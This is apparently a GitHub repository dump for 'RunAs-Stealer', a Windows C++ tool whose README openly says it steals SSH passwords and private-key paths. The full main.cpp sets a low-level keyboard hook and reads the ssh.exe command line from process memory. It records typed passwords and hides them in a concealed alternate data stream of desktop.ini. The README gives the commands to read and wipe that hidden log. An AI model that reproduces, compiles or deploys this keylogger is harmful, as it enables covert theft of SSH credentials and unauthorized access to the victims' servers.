├── sshKeylogger
├── sshKeylogger
│ ├── sshKeylogger.vcxproj.user
│ ├── sshKeylogger.vcxproj.filters
│ ├── sshKeylogger.vcxproj
│ └── main.cpp
└── sshKeylogger.sln
├── README.md
└── LICENSE
/sshKeylogger/sshKeylogger/sshKeylogger.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RunAs-Stealer
2 | Smart keylogging capability to steal SSH Credentials including password & Private Key
3 |
4 | ## Usage
5 |
6 | The stolen credentials are written to `C:\Users\\Desktop\desktop.ini` ADS `log` stream.
7 |
8 | To get the credentials type the cmd command:
9 | ```shell
10 | more < "C:\Users\\Desktop\desktop.ini:log"
11 | ```
12 | To remove the stored credentials type the powershell command:
13 | ```powershell
14 | Remove-Item -Path "C:\Users\d1rk\Desktop\desktop.ini" -Stream "log"
15 | ```
16 |
17 | ***N.B: Refer to the Demo down below for each use case***
18 |
19 |
20 |
21 | #### Demo
22 | https://github.com/user-attachments/assets/b6558b62-08ad-4efe-9757-1e1113808a0a
23 |
--------------------------------------------------------------------------------
/sshKeylogger/sshKeylogger/sshKeylogger.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 Dark Space Security
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/sshKeylogger/sshKeylogger.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.8.34408.163
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sshKeylogger", "sshKeylogger\sshKeylogger.vcxproj", "{86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x64.ActiveCfg = Debug|x64
17 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x64.Build.0 = Debug|x64
18 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x86.ActiveCfg = Debug|Win32
19 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x86.Build.0 = Debug|Win32
20 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x64.ActiveCfg = Release|x64
21 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x64.Build.0 = Release|x64
22 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x86.ActiveCfg = Release|Win32
23 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {499B8499-DF4A-4165-BC82-751599EC85E7}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/sshKeylogger/sshKeylogger/sshKeylogger.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {86cfb31b-69ae-483e-8dd9-f8f5a82aef13}
25 | sshKeylogger
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 | MultiThreaded
122 |
123 |
124 | Console
125 | true
126 | true
127 | false
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/sshKeylogger/sshKeylogger/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #pragma warning (disable: 4996)
10 | #define _CRT_SECURE_NO_WARNINGS
11 |
12 | char ADS_FILE_PATH[MAX_PATH];
13 | char* globalBuffer = NULL;
14 | size_t globalBufferSize = 0;
15 | BOOL shouldLog = FALSE;
16 | int lastPID = 0;
17 | BOOL capturePassword = FALSE;
18 | char passwordBuffer[1024];
19 | size_t passwordBufferIndex = 0;
20 |
21 | typedef NTSTATUS(WINAPI* _NtQueryInformationProcess)(
22 | HANDLE ProcessHandle,
23 | ULONG ProcessInformationClass,
24 | PVOID ProcessInformation,
25 | ULONG ProcessInformationLength,
26 | PULONG ReturnLength
27 | );
28 |
29 | void InitializeADSPath() {
30 | char userPath[MAX_PATH];
31 | if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, userPath))) {
32 | sprintf_s(ADS_FILE_PATH, sizeof(ADS_FILE_PATH), "%s\\desktop.ini:log", userPath);
33 | }
34 | }
35 |
36 | #define RED_TEXT "\x1b[31m"
37 | #define RESET_TEXT "\x1b[0m"
38 |
39 | #define RED_TEXT "\x1b[31m"
40 | #define RESET_TEXT "\x1b[0m"
41 |
42 | void WriteREDToADS(const char* data) {
43 | if (!data) return;
44 |
45 | char resolvedPath[MAX_PATH];
46 | if (!ExpandEnvironmentStringsA(ADS_FILE_PATH, resolvedPath, MAX_PATH)) {
47 | return;
48 | }
49 |
50 | HANDLE hFile = CreateFileA(
51 | resolvedPath,
52 | FILE_APPEND_DATA,
53 | FILE_SHARE_READ | FILE_SHARE_WRITE,
54 | NULL,
55 | OPEN_ALWAYS,
56 | FILE_ATTRIBUTE_NORMAL,
57 | NULL
58 | );
59 |
60 | if (hFile != INVALID_HANDLE_VALUE) {
61 | DWORD bytesWritten;
62 |
63 | // Write red-colored text
64 | WriteFile(hFile, RED_TEXT, (DWORD)strlen(RED_TEXT), &bytesWritten, NULL);
65 | WriteFile(hFile, data, (DWORD)strlen(data), &bytesWritten, NULL);
66 | WriteFile(hFile, RESET_TEXT, (DWORD)strlen(RESET_TEXT), &bytesWritten, NULL);
67 |
68 | CloseHandle(hFile);
69 | }
70 | }
71 |
72 |
73 | void WriteToADS(const char* data) {
74 | if (!data) return;
75 |
76 | char resolvedPath[MAX_PATH];
77 | if (!ExpandEnvironmentStringsA(ADS_FILE_PATH, resolvedPath, MAX_PATH)) {
78 | return;
79 | }
80 |
81 | HANDLE hFile = CreateFileA(
82 | resolvedPath,
83 | FILE_APPEND_DATA,
84 | FILE_SHARE_READ | FILE_SHARE_WRITE,
85 | NULL,
86 | OPEN_ALWAYS,
87 | FILE_ATTRIBUTE_NORMAL,
88 | NULL
89 | );
90 |
91 | if (hFile != INVALID_HANDLE_VALUE) {
92 | DWORD bytesWritten;
93 | WriteFile(hFile, data, (DWORD)strlen(data), &bytesWritten, NULL);
94 | CloseHandle(hFile);
95 | }
96 | }
97 |
98 | void appendToGlobalBuffer(const char* data) {
99 | if (!shouldLog || !data) return;
100 |
101 | size_t dataLen = strlen(data);
102 | if (dataLen == 0) return;
103 |
104 | size_t newSize = globalBufferSize + dataLen + 1;
105 | char* newBuffer = (char*)realloc(globalBuffer, newSize);
106 | if (newBuffer) {
107 | globalBuffer = newBuffer;
108 | if (globalBufferSize == 0) {
109 | strcpy_s(globalBuffer, newSize, data);
110 | }
111 | else {
112 | strcat_s(globalBuffer, newSize, data);
113 | }
114 | globalBufferSize = newSize;
115 | WriteToADS(data);
116 | }
117 | }
118 |
119 |
120 |
121 | int GetCommandLineByPID(DWORD pid) {
122 | int result = 0;
123 | HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
124 | if (!hProcess) return -1;
125 |
126 | _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
127 | PROCESS_BASIC_INFORMATION pbi;
128 | ULONG returnLength;
129 | NTSTATUS status = NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), &returnLength);
130 | if (status != 0) {
131 | CloseHandle(hProcess);
132 | return -1;
133 | }
134 |
135 | PEB peb;
136 | if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL)) {
137 | CloseHandle(hProcess);
138 | return -1;
139 | }
140 |
141 | RTL_USER_PROCESS_PARAMETERS procParams;
142 | if (!ReadProcessMemory(hProcess, peb.ProcessParameters, &procParams, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {
143 | CloseHandle(hProcess);
144 | return -1;
145 | }
146 |
147 | WCHAR* commandLine = (WCHAR*)malloc(procParams.CommandLine.Length + sizeof(WCHAR));
148 | if (!commandLine) {
149 | CloseHandle(hProcess);
150 | return -1;
151 | }
152 |
153 | if (!ReadProcessMemory(hProcess, procParams.CommandLine.Buffer, commandLine, procParams.CommandLine.Length, NULL)) {
154 | free(commandLine);
155 | CloseHandle(hProcess);
156 | return -1;
157 | }
158 | commandLine[procParams.CommandLine.Length / sizeof(WCHAR)] = L'\0';
159 |
160 | int argc;
161 | LPWSTR* argv = CommandLineToArgvW(commandLine, &argc);
162 | if (!argv) {
163 | free(commandLine);
164 | CloseHandle(hProcess);
165 | return -1;
166 | }
167 |
168 | BOOL hasI = FALSE;
169 | LPWSTR keyPathW = NULL;
170 | LPWSTR destinationW = NULL;
171 |
172 | for (int i = 0; i < argc; i++) {
173 | if (wcscmp(argv[i], L"-i") == 0 && (i + 1 < argc)) {
174 | hasI = TRUE;
175 | keyPathW = argv[i + 1];
176 | result = 1;
177 | break;
178 | }
179 | }
180 |
181 | if (argc > 0) {
182 | destinationW = argv[argc - 1];
183 | }
184 |
185 | char destinationA[256] = { 0 };
186 | char userA[256] = { 0 };
187 | char hostA[256] = { 0 };
188 | if (destinationW) {
189 | WideCharToMultiByte(CP_ACP, 0, destinationW, -1, destinationA, sizeof(destinationA), NULL, NULL);
190 | char* atPos = strchr(destinationA, '@');
191 | if (atPos) {
192 | *atPos = '\0';
193 | strcpy_s(userA, sizeof(userA), destinationA);
194 | strcpy_s(hostA, sizeof(hostA), atPos + 1);
195 | }
196 | else {
197 | strcpy_s(hostA, sizeof(hostA), destinationA);
198 | }
199 | }
200 |
201 | if (hasI) {
202 | char keyPathA[MAX_PATH] = { 0 };
203 | if (keyPathW) {
204 | WideCharToMultiByte(CP_ACP, 0, keyPathW, -1, keyPathA, sizeof(keyPathA), NULL, NULL);
205 | char logEntry[MAX_PATH + 256];
206 | snprintf(logEntry, sizeof(logEntry), "\n============================\n[PrivateKey] IP=%s, User=%s, KeyPath=%s\n============================\n", hostA, userA, keyPathA);
207 | WriteREDToADS(logEntry);
208 | }
209 | }
210 | else {
211 | char logEntry[256];
212 | snprintf(logEntry, sizeof(logEntry), "\n============================\n[Password] IP=%s, User=%s\n", hostA, userA);
213 | WriteREDToADS(logEntry);
214 | capturePassword = TRUE;
215 | passwordBufferIndex = 0;
216 | memset(passwordBuffer, 0, sizeof(passwordBuffer));
217 | }
218 |
219 | LocalFree(argv);
220 | free(commandLine);
221 | CloseHandle(hProcess);
222 |
223 | return result;
224 | }
225 |
226 |
227 |
228 | DWORD IsProcessRunning(const wchar_t* procName) {
229 | DWORD procId = 0;
230 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
231 | if (hSnap != INVALID_HANDLE_VALUE) {
232 | PROCESSENTRY32 pe32;
233 | pe32.dwSize = sizeof(PROCESSENTRY32);
234 | if (Process32First(hSnap, &pe32)) {
235 | do {
236 | if (!_wcsicmp(procName, pe32.szExeFile)) {
237 | procId = pe32.th32ProcessID;
238 | break;
239 | }
240 | } while (Process32Next(hSnap, &pe32));
241 | }
242 | CloseHandle(hSnap);
243 | }
244 | return procId;
245 | }
246 |
247 | void keylogit(int vkCode, BOOL shiftPressed) {
248 | if (!shouldLog) return;
249 |
250 | char buffer[20] = { 0 };
251 | BOOL isLetter = TRUE;
252 |
253 | switch (vkCode) {
254 | case VK_BACK: strcpy_s(buffer, sizeof(buffer), ""); isLetter = FALSE; break;
255 | case VK_RETURN: strcpy_s(buffer, sizeof(buffer), "\n"); isLetter = FALSE; break;
256 | case VK_SPACE: strcpy_s(buffer, sizeof(buffer), " "); isLetter = FALSE; break;
257 | case VK_OEM_PLUS: shiftPressed ? strcpy_s(buffer, "+") : strcpy_s(buffer, "="); isLetter = FALSE; break;
258 | case VK_OEM_COMMA: shiftPressed ? strcpy_s(buffer, "<") : strcpy_s(buffer, ","); isLetter = FALSE; break;
259 | case VK_OEM_MINUS: shiftPressed ? strcpy_s(buffer, "_") : strcpy_s(buffer, "-"); isLetter = FALSE; break;
260 | case VK_OEM_PERIOD: shiftPressed ? strcpy_s(buffer, ">") : strcpy_s(buffer, "."); isLetter = FALSE; break;
261 | case VK_OEM_1: shiftPressed ? strcpy_s(buffer, ":") : strcpy_s(buffer, ";"); isLetter = FALSE; break;
262 | case VK_OEM_2: shiftPressed ? strcpy_s(buffer, "?") : strcpy_s(buffer, "/"); isLetter = FALSE; break;
263 | case VK_OEM_3: shiftPressed ? strcpy_s(buffer, "~") : strcpy_s(buffer, "`"); isLetter = FALSE; break;
264 | case VK_OEM_4: shiftPressed ? strcpy_s(buffer, "{") : strcpy_s(buffer, "["); isLetter = FALSE; break;
265 | case VK_OEM_5: shiftPressed ? strcpy_s(buffer, "|") : strcpy_s(buffer, "\\"); isLetter = FALSE; break;
266 | case VK_OEM_6: shiftPressed ? strcpy_s(buffer, "}") : strcpy_s(buffer, "]"); isLetter = FALSE; break;
267 | case VK_OEM_7: shiftPressed ? strcpy_s(buffer, "\"") : strcpy_s(buffer, "'"); isLetter = FALSE; break;
268 | default:
269 | if (vkCode >= 0x41 && vkCode <= 0x5A) {
270 | BOOL capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
271 | if (capsLock ^ shiftPressed) {
272 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode);
273 | }
274 | else {
275 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode + 0x20);
276 | }
277 | }
278 | else if (vkCode >= 0x30 && vkCode <= 0x39) {
279 | if (shiftPressed) {
280 | const char* shiftNums[] = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" };
281 | sprintf_s(buffer, sizeof(buffer), shiftNums[vkCode - 0x30]);
282 | }
283 | else {
284 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode);
285 | }
286 | }
287 | else {
288 | isLetter = FALSE;
289 | }
290 | break;
291 | }
292 |
293 | if (isLetter && buffer[0] != '\0') {
294 | appendToGlobalBuffer(buffer);
295 | }
296 | else if (!isLetter && buffer[0] != '\0') {
297 | appendToGlobalBuffer(buffer);
298 | }
299 | }
300 |
301 | int contains_i;
302 |
303 | void MonitorProcess() {
304 | while (1) {
305 | DWORD pid = IsProcessRunning(L"ssh.exe");
306 | shouldLog = (pid != 0);
307 | if (shouldLog) {
308 | GetCommandLineByPID(pid);
309 | lastPID = pid;
310 | return;
311 | }
312 | Sleep(2000);
313 | }
314 | }
315 |
316 | LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
317 | if (nCode >= HC_ACTION && shouldLog) {
318 | PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam;
319 | int vkCode = kbdStruct->vkCode;
320 | BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
321 |
322 | if (wParam == WM_KEYDOWN) {
323 | DWORD checkPid = IsProcessRunning(L"ssh.exe");
324 | if (checkPid != lastPID) {
325 | contains_i = GetCommandLineByPID(checkPid);
326 | printf("contains_i = %d\n", contains_i);
327 | lastPID = checkPid;
328 | if (contains_i == 0) {
329 | capturePassword = TRUE;
330 | }
331 | else {
332 | capturePassword = FALSE;
333 | }
334 |
335 | passwordBufferIndex = 0;
336 | }
337 |
338 | if (capturePassword && contains_i == 0) {
339 | if (vkCode == VK_RETURN) {
340 | if (passwordBufferIndex > 0) {
341 | char logEntry[1024];
342 | snprintf(logEntry, sizeof(logEntry), "%s\n============================\n", passwordBuffer);
343 | WriteREDToADS(logEntry);
344 | capturePassword = FALSE;
345 | passwordBufferIndex = 0;
346 | contains_i = -1;
347 |
348 | }
349 | }
350 | else if (vkCode == VK_BACK) {
351 | if (passwordBufferIndex > 0) {
352 | passwordBuffer[--passwordBufferIndex] = '\0';
353 | }
354 | }
355 | else {
356 | char buffer[20] = { 0 };
357 | BOOL isLetter = TRUE;
358 |
359 | switch (vkCode) {
360 | case VK_SPACE: strcpy_s(buffer, sizeof(buffer), " "); isLetter = FALSE; break;
361 | case VK_OEM_PLUS: shiftPressed ? strcpy_s(buffer, "+") : strcpy_s(buffer, "="); isLetter = FALSE; break;
362 | case VK_OEM_COMMA: shiftPressed ? strcpy_s(buffer, "<") : strcpy_s(buffer, ","); isLetter = FALSE; break;
363 | case VK_OEM_MINUS: shiftPressed ? strcpy_s(buffer, "_") : strcpy_s(buffer, "-"); isLetter = FALSE; break;
364 | case VK_OEM_PERIOD: shiftPressed ? strcpy_s(buffer, ">") : strcpy_s(buffer, "."); isLetter = FALSE; break;
365 | case VK_OEM_1: shiftPressed ? strcpy_s(buffer, ":") : strcpy_s(buffer, ";"); isLetter = FALSE; break;
366 | case VK_OEM_2: shiftPressed ? strcpy_s(buffer, "?") : strcpy_s(buffer, "/"); isLetter = FALSE; break;
367 | case VK_OEM_3: shiftPressed ? strcpy_s(buffer, "~") : strcpy_s(buffer, "`"); isLetter = FALSE; break;
368 | case VK_OEM_4: shiftPressed ? strcpy_s(buffer, "{") : strcpy_s(buffer, "["); isLetter = FALSE; break;
369 | case VK_OEM_5: shiftPressed ? strcpy_s(buffer, "|") : strcpy_s(buffer, "\\"); isLetter = FALSE; break;
370 | case VK_OEM_6: shiftPressed ? strcpy_s(buffer, "}") : strcpy_s(buffer, "]"); isLetter = FALSE; break;
371 | case VK_OEM_7: shiftPressed ? strcpy_s(buffer, "\"") : strcpy_s(buffer, "'"); isLetter = FALSE; break;
372 | default:
373 | if (vkCode >= 0x41 && vkCode <= 0x5A) {
374 | BOOL capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
375 | if (capsLock ^ shiftPressed) {
376 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode);
377 | }
378 | else {
379 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode + 0x20);
380 | }
381 | }
382 | else if (vkCode >= 0x30 && vkCode <= 0x39) {
383 | if (shiftPressed) {
384 | const char* shiftNums[] = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" };
385 | sprintf_s(buffer, sizeof(buffer), shiftNums[vkCode - 0x30]);
386 | }
387 | else {
388 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode);
389 | }
390 | }
391 | else {
392 | isLetter = FALSE;
393 | }
394 | break;
395 | }
396 |
397 | if (isLetter && buffer[0] != '\0' && passwordBufferIndex < sizeof(passwordBuffer) - 1) {
398 | passwordBuffer[passwordBufferIndex++] = buffer[0];
399 | passwordBuffer[passwordBufferIndex] = '\0';
400 | }
401 | }
402 | }
403 | else {
404 | keylogit(vkCode, shiftPressed);
405 | }
406 | }
407 | }
408 | return CallNextHookEx(NULL, nCode, wParam, lParam);
409 | }
410 |
411 | int main() {
412 | InitializeADSPath();
413 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorProcess, NULL, 0, NULL);
414 |
415 | HHOOK kbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0);
416 | if (!kbdHook) {
417 | return 1;
418 | }
419 |
420 | MSG msg;
421 | while (GetMessage(&msg, NULL, 0, 0)) {
422 | TranslateMessage(&msg);
423 | DispatchMessage(&msg);
424 | }
425 |
426 | UnhookWindowsHookEx(kbdHook);
427 | return 0;
428 | }
--------------------------------------------------------------------------------